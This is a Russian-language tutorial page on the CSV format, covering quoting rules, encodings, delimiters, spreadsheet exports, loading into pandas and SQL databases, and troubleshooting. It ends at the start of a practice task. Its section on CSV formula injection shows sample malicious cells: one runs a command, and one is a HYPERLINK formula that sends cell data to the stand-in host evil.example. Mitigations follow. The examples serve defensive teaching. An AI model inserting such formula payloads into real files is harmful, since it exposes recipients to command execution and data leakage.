Перейти к основному содержимому

CSV

Разработчику Аналитику Инженеру

CSV

Основы

CSV (Comma-Separated Values, "значения, разделённые запятыми") — текстовый файл, в котором таблица записана построчно. Каждая строка файла — одна запись (одна строка таблицы). Столбцы отделяют символом-разделителем, чаще запятой , или точкой с запятой ;.

Таблица — прямоугольная сетка: у каждой строки одинаковое число столбцов (или явно пустые ячейки). CSV хранит только такую "плоскую" структуру: без вложенных объектов, без массивов внутри ячейки (если только вы сами не договорились кодировать JSON-строкой в одном поле).

Единого стандарта на все программы исторически не было. Ориентиры:

  • RFC 4180 — общие правила обмена табличными данными в текстовом виде
  • соглашения конкретной программы (Excel, LibreOffice, Google Sheets, pandas, СУБД)
  • внутренний контракт данных команды (какой sep, кодировка, формат даты)

CSV удобен, когда данные плоские — одна строка таблицы без вложенных объектов:

  • выгрузка отчётов и датасетов из CRM, ERP, бухгалтерии
  • импорт в базу данных или обратная выгрузка для аналитика
  • обмен между Excel, Google Sheets, LibreOffice Calc и скриптом на Python
  • простые логи, выгрузки API, промежуточные файлы ETL
  • загрузка справочников (города, SKU, сотрудники) в staging перед слиянием с основной таблицей

Иерархия и вложенные объекты — в JSON. Контракт API с валидацией полей — JSON Schema и OpenAPI. Конфигурация приложения с секциями — TOML. Большие объёмы для аналитики и колоночное сжатие — Parquet и ORC. Как байты превращаются в буквы — кодировки и текстовые форматы.


История и роль CSV в обмене данными

Формат зародился в 1970-х, когда табличные данные переносили между системами учёта и ранними электронными таблицами. Название закрепилось за разделителем-запятой, хотя на практике часто встречаются ;, табуляция \t и реже |.

Почему CSV до сих пор жив

  • файл открывается в блокноте, Excel и терминале без специальных библиотек
  • любой язык программирования умеет читать текст построчно
  • человек видит ошибку глазами (лишняя запятая, битая кодировка)
  • интеграции с legacy-системами (1С, госотчётность, банковские выгрузки) часто отдают только CSV

Ограничения

  • нет встроенных типов: число 42 и строка "42" в файле выглядят одинаково
  • нет схемы в самом файле (в отличие от JSON Schema)
  • плохо сжимается по сравнению с Parquet
  • один неверный символ в середине файла ломает разбор всей строки

В современном контуре CSV — мост между "человеческой" таблицей и программной обработкой. Типичный путь: выгрузка из Excel → проверка в pandas → staging в PostgreSQL → очистка по пакетной работе с данными → загрузка в витрину.


Структура файла

Минимальный пример с заголовком и тремя записями:

id,name,city,salary
1,Иван Петров,Москва,75000
2,Мария Сидорова,Санкт-Петербург,82000
3,Алексей Козлов,Казань,68000

Строка заголовков (header row) — первая строка с именами столбцов. Имена помогают pandas и DictReader сопоставить ячейки с полями. Технически заголовок необязателен: некоторые промышленные выгрузки отдают только данные, а имена столбцов передают отдельным документом.

Запись (record) — одна строка файла между переводами строки. Поле (field) — текст между разделителями.

Правила, которые соблюдают почти везде:

  • первая строка часто содержит заголовки (имена столбцов)
  • поле с запятой, кавычками или переносом строки оборачивают в двойные кавычки "..."
  • кавычка внутри поля записывается дважды: "ООО ""Ромашка"""
  • конец строки в Unix и macOS — \n (LF), в Windows — \r\n (CRLF)
  • пустое поле между разделителями означает отсутствие значения (пустая ячейка)
  • пробелы вокруг разделителя в RFC 4180 не являются частью поля, если только они не внутри кавычек

RFC 4180 — правила и примеры

RFC 4180 описывает MIME-тип text/csv и соглашения для обмена. Документ не запрещает другие разделители, но фиксирует ожидаемое поведение для запятой.

Ключевые положения RFC 4180

  • каждая строка — список полей, разделённых запятой
  • последняя строка файла может заканчиваться переводом строки (рекомендуется)
  • необязательная первая строка — заголовки; имена заголовков уникальны в пределах файла
  • поля с разделителем, кавычками или переводом строки должны быть в двойных кавычках
  • двойная кавычка внутри поля кодируется как ""
  • файлы в кодировке, совместимой с US-ASCII, или в Unicode с явным указанием (на практике — UTF-8)

Пример 1. Обычные поля без кавычек

sku,title,price
A-100,Кабель USB-C,890
B-200,Мышь беспроводная,1250

Пример 2. Запятая внутри поля

Адрес содержит запятую — всё поле в кавычках:

id,address,city
1,"ул. Тверская, д. 5",Москва
2,"пр-т Невский, д. 28",Санкт-Петербург

Пример 3. Кавычки в названии организации

company_id,legal_name
10,"ООО ""Ромашка"""
11,"АО ""Север"""

После разбора значение поля: ООО "Ромашка" (одна пара кавычек вокруг слова внутри текста).

Пример 4. Перенос строки внутри ячейки

Многострочное описание товара:

id,description,price
42,"Куртка зимняя
размер M
цвет чёрный",4500

Визуально в файле это три строки текста, но для парсера — одна логическая запись, потому что перевод строки внутри кавычек.

Пример 5. Пустые поля

id,middle_name,email
1,,ivan@example.com
2,Петрович,

Между запятыми ничего нет — пустая строка как значение.

Пример 6. Пробелы

name , city
Alice , Moscow

RFC: пробелы вне кавычек не считаются частью поля. Имя станет Alice, город Moscow. Если пробелы значимы — кавычки: " Alice ".

Пример 7. Числа и даты

RFC не задаёт типы. Число и дата — это текст:

order_id,amount,ordered_at
9001,1250.50,2026-06-14
9002,"1 250,50",14.06.2026

Вторая строка показывает типичную русскую локаль: пробел как разделитель тысяч, запятая как десятичный знак. При импорте в SQL или pandas такие поля нужно нормализовать вручную — см. очистку данных в Pandas.


Кавычки, экранирование и краевые случаи

Встроенные запятые. Любое поле, где есть символ-разделитель, оборачивают в "...". Иначе парсер разрежет одну ячейку на несколько столбцов.

Встроенные кавычки. Удвоение: """ только внутри quoted field.

Встроенные переводы строк. Допустимы только внутри кавычек. Перенос вне кавычек означает конец записи. Частая ошибка экспорта из Excel: комментарий в ячейке с Alt+Enter без корректного quoting — файл "раздувается" на лишние строки при импорте.

Смешанный quoting. RFC допускает, что часть полей в кавычках, часть без:

id,note,active
1,краткий текст,true
2,"текст с, запятой",false

Одинарные кавычки. В RFC 4180 не используются для полей. Строка 'Москва' — это буквально символы апострофа, не quoting по стандарту.

Обратный слэш. RFC 4180 не определяет escape через \. Некоторые нестандартные выгрузки экранируют \" — при чтении уточняйте escapechar в pandas или csv.

Табуляция внутри поля. Если разделитель — запятая, таб внутри ячейки можно писать без кавычек. Если разделитель — таб (TSV), поле с табом обязательно в кавычках.

BOM в начале первого заголовка. UTF-8 BOM иногда "приклеивается" к имени первого столбца: \ufeffid вместо id. Решение — encoding="utf-8-sig" в Python.

Последняя запятая в строке (trailing comma). RFC 4180 её не описывает. Excel обычно не ставит. Некоторые генераторы ставят — pandas может создать лишний пустой столбец. Проверяйте df.columns после чтения.

Неравное число столбцов. Строка с лишней запятой даст больше полей, чем заголовок. pandas по умолчанию может предупредить или отбросить хвост; csv модуль не валидирует — вы получите "кривую" строку. Перед загрузкой в БД считайте поля на строку.


Кодировки UTF-8, UTF-8 BOM, cp1251 и Latin-1

Кодировка (encoding, charset) — правило, по которому байты файла превращаются в символы (кириллица, латиница, эмодзи). Если программа открыла файл в неверной кодировке, русский текст превращается в "кракозябры" — набор бессмысленных латинских букв и знаков.

Подробная теория — в текстовых форматах и базовой информатике про кодировки.

КодировкаГде встречаетсяПризнакиPython
UTF-8веб, macOS, Linux, современный Excel, Google Sheetsкириллица читается везде одинаково; без BOMencoding="utf-8"
UTF-8 с BOM"Сохранить как CSV UTF-8" в Excel на Windows, некоторые экспорты 1Спервые байты EF BB BF; в редакторе иногда видно как невидимый символ в началеencoding="utf-8-sig"
cp1251 (Windows-1251)старые выгрузки, 1С, часть госотчётов в РФ, legacy CRMпри открытии как UTF-8 — "МоÑква" вместо "Москва"encoding="cp1251"
Latin-1 (ISO-8859-1)старые европейские выгрузки, HTTP по умолчанию в прошломкириллицы нет; русский текст будет повреждёнencoding="latin-1"
cp866консоль DOS, очень старые файлыузкий круг legacyencoding="cp866"

UTF-8 кодирует кириллицу двумя байтами на символ. Файл совместим с ASCII для латиницы. Это дефолт для новых интеграций.

UTF-8 BOM (Byte Order Mark) — служебная последовательность в начале файла. Excel на Windows использует её, чтобы отличить UTF-8 от cp1251. Для Python и PostgreSQL BOM обычно мешает, если не указать utf-8-sig: первый заголовок становится \ufeffid.

cp1251 — однобайтовая кодировка Windows для кириллицы. В России встречается в выгрузках, созданных до перехода на UTF-8. Признак ошибки: открыли как UTF-8 — видите псевдолатиницу с диакритикой.

Latin-1 каждый байт 0–255 — символ. Русских букв в таблице нет. Иногда файл ошибочно объявляют Latin-1, чтобы "прочитать что угодно" — это заглушка, которая скрывает реальную cp1251 и портит данные. Лучше определить кодировку явно.

Как определить кодировку на практике

  • откройте файл в VS Code, Notepad++ или Cursor и переключите кодировку вручную
  • посмотрите, при каком варианте кириллица читается нормально
  • для автоматики — библиотека charset-normalizer или chardet (результат проверяйте на известной строке)
  • договоритесь с поставщиком данных: "все файлы UTF-8 без BOM, разделитель ;"

UnicodeDecodeError в Python значит, что указанная кодировка не совпала с реальной. Попробуйте по очереди:

import pandas as pd

encodings = ["utf-8-sig", "utf-8", "cp1251", "cp866"]
for enc in encodings:
try:
df = pd.read_csv("data.csv", encoding=enc, sep=";", nrows=5)
print(f"OK: {enc}")
break
except UnicodeDecodeError:
print(f"fail: {enc}")

Сохранение из Python

df.to_csv("out.csv", index=False, encoding="utf-8-sig", sep=";")

utf-8-sig удобен, если файл снова откроют в Excel на Windows. Для чистого контура Linux/PostgreSQL чаще пишут utf-8 без BOM.

PostgreSQL и кодировки

COPY ... ENCODING 'UTF8' ожидает UTF-8 без сюрпризов. Файл cp1251 нужно перекодировать заранее:

iconv -f cp1251 -t utf-8 input.csv > output_utf8.csv

На Windows ту же задачу решают PowerShell, Python или Notepad++ (Кодировки → Преобразовать в UTF-8).


Разделитель полей и десятичный знак

Разделитель полей (delimiter, separator) — символ между столбцами в одной строке. Его часто путают с десятичным разделителем в числах — это разные уровни.

СредаРазделитель полейДесятичный знак в числахТысячи
RFC 4180, США, UK,., или без
Excel, локаль ru-RU;,пробел или без
Excel, локаль en-US,.,
Google Sheets (экспорт)часто ,зависит от локали браузеразависит от локали
LibreOffice Calc ruчасто ;,пробел
TSV (табличный текст)\t (таб)зависит от источниказависит от источника

Если все данные оказались в одном столбце — неверный sep в pandas или неверная локаль при экспорте:

import pandas as pd

df = pd.read_csv("report.csv", sep=";", decimal=",", thousands=" ")

Как узнать разделитель

  • откройте первые строки в редакторе: что повторяется между словами — ,, ; или таб
  • pandas иногда угадывает через sep=None, engine="python" на маленьком файле (медленно на гигабайтах)
  • csv.Sniffer().sniff(sample) в стандартной библиотеке — эвристика, не гарантия

Региональные настройки Excel (Windows)

Путь: Файл → Параметры → Дополнительно → Параметры редактирования (или Параметры → Язык и регион в новых версиях). Там задаются:

  • разделитель списков — станет разделителем полей в CSV при классическом экспорте
  • десятичный разделитель — влияет на то, как числа попадут в текст файла

Перед обменом с кодом зафиксируйте разделитель или сохраняйте через CSV UTF-8 (разделитель — запятая) — этот пункт в русской локали часто всё равно даёт запятую как sep полей.

Контракт для команды (пример)

Зафиксируйте в README или в тикете на интеграцию:

  • кодировка UTF-8 с BOM или без (одно на весь проект)
  • разделитель полей ;
  • десятичная точка . в числах (нормализуете при выгрузке из ru-Excel)
  • дата в ISO YYYY-MM-DD
  • первая строка — заголовки на английском snake_case

Экспорт из Excel

Microsoft Excel (Windows)

Варианты сохранения:

  • Файл → Сохранить как → CSV UTF-8 (разделитель — запятая) (*.csv) — предпочтительно для Python, веба и PostgreSQL; обычно UTF-8 с BOM и , как sep
  • CSV (разделитель — запятые) (*.csv) — зависит от региональных настроек; в ru-RU часто ; и cp1251
  • Текстовые файлы (с разделителями табуляции) — по сути TSV

Пошагово для UTF-8:

  1. Убедитесь, что на листе значения, а не формулы (см. ниже)
  2. Файл → Сохранить как
  3. Тип файла: CSV UTF-8 (разделитель — запятая)
  4. Откройте результат в блокноте: первая строка читаема, кириллица корректна
  5. Проверьте разделитель и отсутствие лишних пустых строк внизу листа

Формулы и отображаемое значение

Excel в ячейке может хранить формулу =SUM(A1:A10), а на экране — число. При экспорте в CSV:

  • обычно попадает результат формулы (число или текст)
  • если включён показ формул (Формулы → Показать формулы), в файл уйдут строки, начинающиеся с =
  • строки вида =HYPERLINK(...), =WEBSERVICE(...) опасны при открытии CSV в Excel получателем (см. раздел про CSV injection)

Перед экспортом: Специальная вставка → Значения для критичных столбцов, если копировали из другого листа с формулами.

Формат дат и чисел

Ячейка "дата" в Excel — внутренний serial number. В CSV дата станет тем, как её форматирует локаль:

  • 14.06.2026 в ru-RU
  • 6/14/2026 в en-US
  • иногда 44927 как число, если формат ячейки "Общий"

Для интеграций задайте пользовательский формат yyyy-mm-dd на столбце дат до экспорта.

Пустые строки и скрытые фильтры

Excel экспортирует весь использованный диапазон листа. Пустые строки внизу превратятся в строки из одних разделителей ;;;. Отфильтрованные скрытые строки попадают в CSV — фильтр на экспорт не влияет. Очистите хвост листа или копируйте только диапазон с данными на новый лист.

Несколько листов

CSV — один лист. Каждый лист сохраняют отдельным файлом или используют XLSX / Parquet для многостраничных книг.

Подробнее про таблицы — Excel — основы, разведочный анализ в Excel, формулы в Lab.


Экспорт из Google Sheets и LibreOffice

Google Sheets

  • Файл → Скачать → Значения, разделённые запятыми (.csv) — обычно UTF-8 и , как разделитель
  • локаль аккаунта Google влияет на отображение чисел в интерфейсе, экспорт CSV чаще даёт "сырой" текст ячеек
  • объединённые ячейки дают непредсказуемую структуру — разъедините перед выгрузкой
  • формулы экспортируются как вычисленные значения

Проверка после скачивания:

  • кодировка UTF-8 в редакторе
  • первая строка — заголовки
  • нет ведущих/замыкающих пробелов в заголовках (обрежьте в Sheets функцией TRIM)

LibreOffice Calc

  • Файл → Сохранить как → Текст CSV (.csv)
  • появится мастер: кодировка (UTF-8), разделитель полей, разделитель строк, сохранять ли как UTF-8
  • для ru-локали по умолчанию часто предлагается ; и , в числах

Рекомендуемые настройки мастера для интеграции с Python:

  • кодировка UTF-8
  • разделитель ; или , (как в контракте)
  • всегда заключать в кавычки текстовые поля (галочка "все в кавычках" снижает риск с запятыми внутри)

Сравнение экспорта

ИсточникТипичная кодировкаТипичный sepЗамечание
Excel Win UTF-8UTF-8 BOM,BOM у первого заголовка
Excel Win классический CSVcp1251; в ruпроверяйте в блокноте
Google SheetsUTF-8,предсказуемо для веба
LibreOfficeUTF-8 (если выбрали)настраиваетсямастер задаёт quoting

TSV и другие разделители

TSV (Tab-Separated Values) — тот же логический формат, но разделитель полей — символ табуляции \t. Расширение файла часто .tsv или .txt.

id name city
1 Иван Петров Москва
2 Мария Сидорова Санкт-Петербург

Когда выбирают TSV

  • в данных много запятых (описания товаров, юридические тексты)
  • пайплайн Unix (cut, awk) с табом как разделителем
  • выгрузки биоинформатики, логов, некоторых API

Чтение в pandas

df = pd.read_csv("data.tsv", sep="\t", encoding="utf-8")

PSV (pipe-separated, |) встречается в legacy ETL. Чтение: sep="|". Символ | реже встречается в тексте, но встречается в markdown-таблицах и логах.

Контрольный символ \x1f иногда используют в промышленных выгрузках, когда в тексте есть и запятые, и табы. Такие файлы читают только с явным sep="\x1f".


Загрузка в Python — модуль csv

Стандартная библиотека csv подходит для потоковой обработки без тяжёлого датафрейма.

csv.reader — список списков:

import csv

with open("data.csv", newline="", encoding="utf-8-sig") as f:
reader = csv.reader(f, delimiter=";")
header = next(reader)
for row in reader:
print(dict(zip(header, row)))

csv.DictReader — каждая строка как словарь по заголовкам:

import csv

with open("data.csv", newline="", encoding="utf-8-sig") as f:
reader = csv.DictReader(f, delimiter=";")
for row in reader:
print(row["name"], row["city"])

csv.DictWriter — запись с заголовком:

import csv

rows = [
{"id": "1", "name": "Иван", "city": "Москва"},
{"id": "2", "name": "Мария", "city": "Казань"},
]

with open("out.csv", "w", newline="", encoding="utf-8-sig") as f:
writer = csv.DictWriter(f, fieldnames=["id", "name", "city"], delimiter=";")
writer.writeheader()
writer.writerows(rows)

Параметры quoting

import csv

with open("data.csv", newline="", encoding="utf-8-sig") as f:
reader = csv.reader(
f,
delimiter=";",
quotechar='"',
quoting=csv.QUOTE_MINIMAL,
)
  • QUOTE_MINIMAL — кавычки только где нужно (по RFC)
  • QUOTE_ALL — каждое поле в кавычках (удобно для Excel)
  • QUOTE_NONNUMERIC — кавычки у нечисловых полей
  • QUOTE_NONE — без кавычек (опасно при запятых в тексте)

Учебные примеры — Python — файлы и CSV.


Загрузка в Python — pandas read_csv и to_csv

pandas.read_csv — основной инструмент аналитика. Ниже параметры, которые чаще всего спасают русские выгрузки.

sep — разделитель полей:

df = pd.read_csv("report.csv", sep=";")

decimal и thousands — локаль чисел:

df = pd.read_csv("report.csv", sep=";", decimal=",", thousands=" ")

encoding:

df = pd.read_csv("report.csv", encoding="utf-8-sig")

dtype — зафиксировать типы до парсинга (важно для ID с ведущими нулями):

df = pd.read_csv(
"users.csv",
sep=";",
dtype={"user_id": str, "zip": str},
)

Без dtype=str столбец 00123 станет числом 123.

na_values — что считать пропуском:

df = pd.read_csv(
"data.csv",
sep=";",
na_values=["", "NULL", "N/A", "-", "—"],
keep_default_na=True,
)

quoting — режим кавычек (константы из модуля csv):

import csv
import pandas as pd

df = pd.read_csv("data.csv", sep=";", quoting=csv.QUOTE_MINIMAL)

usecols — читать только нужные столбцы (экономия памяти):

df = pd.read_csv("big.csv", sep=";", usecols=["id", "amount", "date"])

parse_dates — сразу парсить даты:

df = pd.read_csv(
"orders.csv",
sep=";",
parse_dates=["ordered_at"],
dayfirst=True,
)

chunksize — читать кусками без загрузки всего файла в RAM:

import pandas as pd

chunks = pd.read_csv("huge.csv", sep=";", chunksize=50_000, encoding="utf-8-sig")
for chunk in chunks:
process(chunk)

nrows — только первые N строк (разведка):

sample = pd.read_csv("unknown.csv", sep=";", nrows=1000)

skiprows и skipfooter — пропуск служебных строк в начале/конце (footer требует engine="python").

on_bad_lines — поведение при битых строках (error, warn, skip в новых pandas).

low_memory — по умолчанию True, типы уточняются по чанкам (иногда даёт смешанные типы в столбце). Для стабильной схемы на средних файлах:

df = pd.read_csv("data.csv", sep=";", low_memory=False, dtype={"id": str})

comment — строки, начинающиеся с символа, считаются комментариями и пропускаются (нестандартно для RFC, но встречается в выгрузках):

df = pd.read_csv("data.csv", sep=";", comment="#")

lineterminator при записи — явно задать \n для Unix или \r\n для Windows-потребителей:

df.to_csv("unix.csv", index=False, sep=";", lineterminator="\n")

to_csv — запись:

df.to_csv(
"clean.csv",
index=False,
sep=";",
encoding="utf-8-sig",
decimal=".",
date_format="%Y-%m-%d",
quoting=csv.QUOTE_MINIMAL,
)

index=False убирает лишний столбец номеров строк pandas.

После чтения — очистка и подготовка данных в Pandas: trim пробелов, приведение типов, дедупликация.


Загрузка в SQL

PostgreSQL COPY

Массовая загрузка в PostgreSQL быстрее, чем тысячи одиночных INSERT:

COPY employees(id, name, city, salary)
FROM '/var/lib/postgresql/data/employees.csv'
WITH (
FORMAT csv,
HEADER true,
DELIMITER ';',
ENCODING 'UTF8',
NULL ''
);

FORMAT csv включает разбор кавычек по правилам, близким к RFC. Путь — на сервере БД, не на ноутбуке клиента (для удалённого файла — \copy в psql или staging через программу).

Staging перед COPY

CREATE TABLE staging_employees (LIKE employees INCLUDING DEFAULTS);

COPY staging_employees(name, city, salary)
FROM '/tmp/employees.csv'
WITH (FORMAT csv, HEADER true, DELIMITER ';', ENCODING 'UTF8');

INSERT INTO employees (name, city, salary)
SELECT name, city, salary
FROM staging_employees
WHERE name IS NOT NULL
ON CONFLICT (id) DO NOTHING;

TRUNCATE staging_employees;

Подробнее про транзакции и пакеты — пакетная работа с данными.

MySQL LOAD DATA

LOAD DATA LOCAL INFILE 'employees.csv'
INTO TABLE employees
CHARACTER SET utf8mb4
FIELDS TERMINATED BY ';'
OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY '\n'
IGNORE 1 LINES
(name, city, salary);

LOCAL INFILE может быть запрещён политикой безопасности — уточните у DBA. Кодировка таблицы и файла должна совпадать (utf8mb4 для полной Unicode).

SQLite и DB Browser

Импорт в SQLite для учебного проекта:

  1. установите DB Browser for SQLite
  2. Файл → Импорт → Таблица из CSV
  3. укажите разделитель, кодировку UTF-8, первая строка — имена столбцов
  4. задайте типы столбцов вручную (всё TEXT безопасно на первом шаге)
  5. проверьте превью первых строк

Скриптовый путь — .mode csv, .import в sqlite3 CLI:

sqlite3 app.db
.mode csv
.separator ;
.import employees.csv staging_employees

Учебный маршрут — первые шаги с SQL.

Частые ошибки импорта в SQLite

  • все значения попали в один столбец — неверный .separator
  • первая строка стала данными — забыли, что .import по умолчанию не пропускает header; создайте таблицу заранее и используйте skip через временный файл без заголовка или импортируйте через DB Browser с галочкой "первая строка — имена"
  • ошибка encoding — пересохраните CSV в UTF-8

Переводы строк LF и CRLF

Перевод строки завершает запись в файле. Три распространённых варианта:

  • LF \n — Linux, macOS, большинство серверов
  • CRLF \r\n — Windows, Excel при сохранении CSV на Windows
  • CR \r — старые Mac OS 9 (редко сегодня)

Парсеры pandas и csv обычно принимают оба \n и \r\n при чтении. PostgreSQL COPY понимает оба, если не задан жёсткий EOL.

Смешанные переводы в одном файле (часть строк LF, часть CRLF) случаются при склейке выгрузок. Симптом — "лесенка" в терминале или лишние \r в конце полей (Москва\r). Нормализация в Python:

from pathlib import Path

text = Path("mixed.csv").read_text(encoding="utf-8-sig")
text = text.replace("\r\n", "\n").replace("\r", "\n")
Path("normalized.csv").write_text(text, encoding="utf-8")

При передаче файла из Windows в Linux pipeline проверяйте утилитой file data.csv (покажет "CRLF line terminators") или откройте в hex-редакторе последние байты строки.


CSV injection (формульная инъекция)

Если CSV откроют в Excel или LibreOffice, ячейка, начинающаяся с =, +, -, @, \t, может интерпретироваться как формула. Злоумышленник может подсунуть в текстовое поле:

user,comment
alice,"=CMD(""calc"")"
bob,"=HYPERLINK(""http://evil.example/?q=""&A1,""click"")"

При двойном клике или автоматическом пересчёте таблица выполнит нежелательное действие (DDE, внешние ссылки). Это не RCE на сервере БД, но риск для аналитика, который открывает выгрузку из недоверенного источника.

Меры

  • при экспорте из своей системы экранируйте опасные префиксы: вставьте апостроф ' или таб перед =
  • в Excel открывайте через Данные → Из текст/CSV с типом столбца "текст", а не двойным кликом по файлу
  • на сервере при генерации CSV проверяйте поля регулярным выражением на ведущие =+-@
  • не полагайтесь на "мы же в БД" — CSV уйдёт в почту и в Excel

Для веб-скачивания заголовок Content-Disposition: attachment снижает автоматическое исполнение, но не заменяет санитизацию.


Проверка качества данных перед импортом

Перед COPY или массовым INSERT прогоните чеклист. Ошибка на строке 800 000 откатывает всю транзакцию или оставляет "грязную" витрину.

Структура файла

  • число столбцов в каждой строке совпадает с заголовком
  • нет пустых имён столбцов и дубликатов в header
  • файл не пустой, нет только BOM

Кодировка и символы

  • кириллица читается в целевой кодировке
  • нет "битых" surrogate пар (редко при кривой конвертации)
  • нет неожиданных управляющих символов кроме \r\n и \t

Типы и форматы

  • даты в согласованном формате (лучше ISO)
  • десятичный разделитель единообразен
  • булевы значения — true/false или 1/0, не смесь
  • идентификаторы с ведущими нулями не прошли через Excel как числа

Смысл данных

  • обязательные поля не пустые
  • справочные значения (город, статус) из известного набора
  • суммы и количества в разумных пределах
  • нет полных дубликатов строк (если не задумано)

Пример быстрой проверки в pandas

import pandas as pd

df = pd.read_csv("incoming.csv", sep=";", encoding="utf-8-sig", dtype=str)
report = {
"rows": len(df),
"cols": list(df.columns),
"dup_rows": df.duplicated().sum(),
"empty_id": df["id"].isna().sum() + (df["id"].str.strip() == "").sum(),
}
print(report)
assert report["dup_rows"] == 0, "найдены полные дубликаты"

Детальная очистка — очистка данных в Pandas.


Staging-таблицы и дедупликация

Staging (промежуточная таблица) — место, куда CSV попадает до основной витрины. Схема совпадает с целевой или чуть шире (все поля TEXT, чтобы ничего не отвалилось при COPY).

Типичный pipeline:

  1. TRUNCATE staging_raw
  2. COPY / LOAD DATA в staging_raw
  3. SQL или pandas: очистка, cast типов, trim
  4. INSERT INTO prod SELECT ... WHERE ... с фильтрами
  5. дедупликация по бизнес-ключу

Дедупликация в SQL (PostgreSQL)

INSERT INTO customers (external_id, name, city)
SELECT DISTINCT ON (external_id) external_id, name, city
FROM staging_customers
ORDER BY external_id, imported_at DESC;

Идемпотентность

Повторная загрузка того же файла не должна плодить копии. Варианты:

  • ON CONFLICT DO UPDATE по первичному ключу
  • полная замена партиции за дату DELETE WHERE load_date = ... + insert
  • хеш строки в отдельном столбце и пропуск известных хешей

См. пакетная работа с данными про chunk, транзакции и bulk.


Большие файлы — память, chunks и dtypes

Файл на 5–50 GB не помещается в RAM ноутбука целиком. Стратегии:

chunksize в pandas — обрабатывайте по 50 000–500 000 строк, агрегируйте инкрементально (суммы, счётчики), не копите все чанки в списке.

usecols — не читайте лишние столбцы.

dtype — числа как float32 вместо float64, категории как category после известного набора значений.

csv модуль — потоковая построчная обработка с константной памятью.

DuckDB — SQL прямо по CSV без полной загрузки в Python (см. ниже).

Парquet как следующий шаг — один раз конвертировали тяжёлый CSV в Parquet, дальше аналитика быстрее и дешевле по диску:

import pandas as pd

for i, chunk in enumerate(pd.read_csv("huge.csv", sep=";", chunksize=200_000)):
chunk.to_parquet(f"parts/part_{i:04d}.parquet", index=False)

Сжатие при передачеgzip или zip уменьшает время копирования по сети; read_csv читает .csv.gz напрямую:

df = pd.read_csv("data.csv.gz", sep=";", compression="gzip")

Инструменты — csvkit и DuckDB

csvkit — набор CLI-утилит для терминала (документация):

  • csvlook data.csv — красивая таблица в консоли
  • csvstat data.csv — min, max, среднее по столбцам
  • csvcut -c name,city data.csv — выбор столбцов
  • csvgrep -m "Москва" -c city data.csv — фильтр строк
  • csvjoin left.csv right.csv -c id — join двух CSV без Python

Установка: pip install csvkit.

DuckDB — встраиваемая аналитическая СУБД, читает CSV SQL-запросом (документация):

INSTALL httpfs;
LOAD httpfs;

SELECT city, COUNT(*) AS n, AVG(salary) AS avg_salary
FROM read_csv_auto('employees.csv', delim=';', header=true, encoding='UTF8')
GROUP BY city
ORDER BY n DESC;

read_csv_auto угадывает типы и разделитель — удобно для разведки, на проде фиксируйте параметры явно.

Другие утилиты

  • xsv (Rust) — быстрые slice, stats, search
  • mlr (miller) — CSV/JSON/TSV в shell
  • iconv — перекодировка
  • wc -l — быстрый подсчёт строк (не учитывает многострочные quoted fields — для точности используйте csvstat)

Быстрая разведка файла в терминале

head -n 3 data.csv
file -bi data.csv
csvstat --count data.csv
csvcut -c 1 data.csv | sort | uniq -c | head

Первая команда показывает разделитель и quoting. file -bi подсказывает MIME и charset (не всегда точен для cp1251). csvstat считает строки с учётом кавычек. Последняя — частоты значений в первом столбце (проверка ключей).


Сравнение CSV, JSON и Parquet

КритерийCSVJSONParquet
Структураплоская таблицаобъекты, массивы, вложенностьколоночная таблица, вложенные типы ограниченно
Схема в файленетнет (есть JSON Schema отдельно)да, в метаданных
Типы данныхвсе строки при чтениистрока, число, bool, null, объект, массивint, float, string, date, decimal, list
Размер на дискебольшой (текст)средниймаленький (сжатие, колонки)
Скорость аналитикимедленно на GB+среднебыстро (проекция столбцов)
Открыть глазамиExcel, блокнотредактор JSONDuckDB, Spark, pandas
Потоковая записьпострочно легкопострочный JSONLнужны библиотеки
Совместимостьуниверсальнаявеб, APIdata engineering, ML
КодировкиUTF-8/cp1251 вручнуюUTF-8 по умолчаниюбинарный, кодировка внутри
Импорт в SQLCOPY, LOAD DATAJSON функции, JSONBвнешние таблицы, Spark
Типичные инструментыpandas, Excel, csvkitREST, jq, MongoDBSpark, DuckDB, BigQuery
Когда выбиратьобмен с Excel, legacyAPI, конфиги, логи событийхранилище аналитики, ML фичи

CSV + JSON в одном контуре

Часто API отдаёт JSON, а аналитик просит CSV. Конвертация через pandas:

import pandas as pd

records = [
{"id": 1, "name": "Иван", "tags": ["a", "b"]},
{"id": 2, "name": "Мария", "tags": ["c"]},
]
df = pd.json_normalize(records)
df.to_csv("flat.csv", index=False, sep=";")

Вложенные поля станут столбцами tags.0, tags.1 или сериализуйте JSON-строкой в одной ячейке — договоритесь в контракте.


Типичные ошибки и устранение

СимптомВероятная причинаЧто сделать
UnicodeDecodeErrorневерная кодировкаutf-8-sig, затем cp1251; см. 111
Кракозябры в ExcelUTF-8 открыли как cp1251"Данные из текста", UTF-8; или пересохранить с BOM
Все поля в одном столбценеверный sepsep=";" или sep=","; смотрите файл в блокноте
Лишний пустой столбецtrailing comma или лишний ; в конце строкиочистить источник; usecols в pandas
Первый заголовок \ufeffidUTF-8 BOMencoding="utf-8-sig"
Числа как текстлокаль , как десятичныйdecimal=",", потом astype(float)
Даты разъехалисьсмесь форматовdayfirst=True, pd.to_datetime(..., format=)
Потеряны ведущие нули в IDExcel превратил в числоэкспорт как TEXT; dtype=str при чтении
Строк стало больше, чем в Excelпереносы в ячейках без кавычекисправить экспорт; quoted multiline
ParserError на строке Nкавычка не закрытанайти строку N в редакторе; починить quoting
Дубли после повторного импортанет ключа и stagingstaging + ON CONFLICT; 433
Пустые строки в конце файлапустой хвост листа Excelобрезать диапазон перед экспортом
Сумма не сходитсяпробелы, неразрывный пробелstr.replace("\u00a0", "").str.strip()
Научная нотация в IDширокий столбец Excelформат "текст" до ввода
Формула выполнилась при открытииCSV injectionсанитизация =+-@; импорт как текст
PostgreSQL COPY падаетпуть на клиенте, не на сервере\copy или staging на сервере
MySQL отказал INFILEполитика local_infileвключить у DBA или грузить через клиент
Все NULL в столбцеNULL как строка и пустое полеna_values, NULL '' в COPY
Разные числа в одном столбцемусор и текст среди чиселвалидация в staging, cast с ошибками в лог

Практическое задание

Закрепите цепочку "Excel → CSV → Python → SQLite" на учебном наборе.

Шаг 1. Подготовьте таблицу

Создайте в Excel или Google Sheets лист employees со столбцами:

  • id (текст: 001, 002, 003 — проверка ведущих нулей)
  • name (кириллица)
  • city
  • salary (числа с тысячами по ru-формату)
  • note (одна ячейка с запятой внутри текста)

Шаг 2. Экспортируйте CSV

Сохраните как UTF-8 CSV. Откройте файл в блокноте и ответьте письменно (для себя):

  • какой разделитель полей
  • есть ли BOM
  • заключено ли поле с запятой в кавычки

Шаг 3. Прочитайте в pandas

